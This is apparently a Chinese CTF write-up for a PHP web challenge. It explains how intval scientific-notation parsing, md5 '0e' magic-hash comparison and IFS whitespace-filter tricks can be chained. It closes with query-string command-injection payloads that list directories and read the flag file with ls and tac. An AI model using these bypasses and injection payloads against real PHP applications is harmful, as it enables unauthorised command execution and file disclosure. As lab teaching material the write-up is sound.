题目首页
没什么思路,目录扫描到了robots.txt文件看看有什么
接着访问
一步一步走
先介绍:
# PHP intval() 函数 **intval()** 函数用于获取变量的整数值。 **intval()** 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。 注释:该函数是二进制安全的。 注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数 str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。 该函数必须遵循下列规则: 如果搜索的字符串是一个数组,那么它将返回一个数组。 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。 如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
这里说明一下如何绕过:首先num的intval函数在输入值为23e2时候会解析为23,而num+1就会进行运算,先还原成整数2300+1=2301>2021,成功绕过,,,第二个md5加密后还等于他自己,则0e215962017加密后还是0exxxxx,都解析为0,,,绕过空白字符可以参考文章(命令执行绕过大全 - 知乎 (zhihu.com))常见的绕过空白字符的有:
${IFS}, |
---|
${IFS}$9 ,#$9 可改成$ 加其他数字。 |
{cat,flag.php} ,用, 实现了空格;指令中的{} 通配符,shell会先把{} 的内容按照解释方式翻译成一个或多个参数,再执行该含有多参数的指令。 |
在 php 中,当字符串 以0e开头时,会被 php 识别成科学计数法,结果均为0,因此在比较两个以 `0e` 开头的字符串时,无论后面的字符时是什么,比较结果都为 True。
(参考文章:PHP md5 相等绕过 - Ainsliaea - 博客园 (cnblogs.com))
构造如下payload:
?num=23e2&md5=0e215962017&get_flag=ls${IFS}$9/
根据文件提示查看该目录:/var/www/html
?num=23e2&md5=0e215962017&get_flag=ls${IFS}$9/var/www/html
这应该是flag文件
?num=23e2&md5=0e215962017&get_flag=tac${IFS}$9/var/www/html/fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag